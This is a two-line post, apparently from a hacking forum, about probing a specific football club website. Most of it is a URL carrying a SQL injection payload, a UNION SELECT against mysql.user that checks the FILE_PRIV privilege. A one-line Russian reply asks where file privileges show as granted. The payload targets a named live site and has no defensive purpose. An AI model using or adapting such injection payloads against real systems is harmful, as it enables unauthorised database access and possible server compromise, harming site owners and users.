http://www.fcdinamokirov.ru/2010/news10.php?seldate_down=20110101+union+select+1,2, 3,FILE_PRIV,5,6,7+from+mysql.user+--+

где вы здесь увидели file_priv Y? В упор не вижу....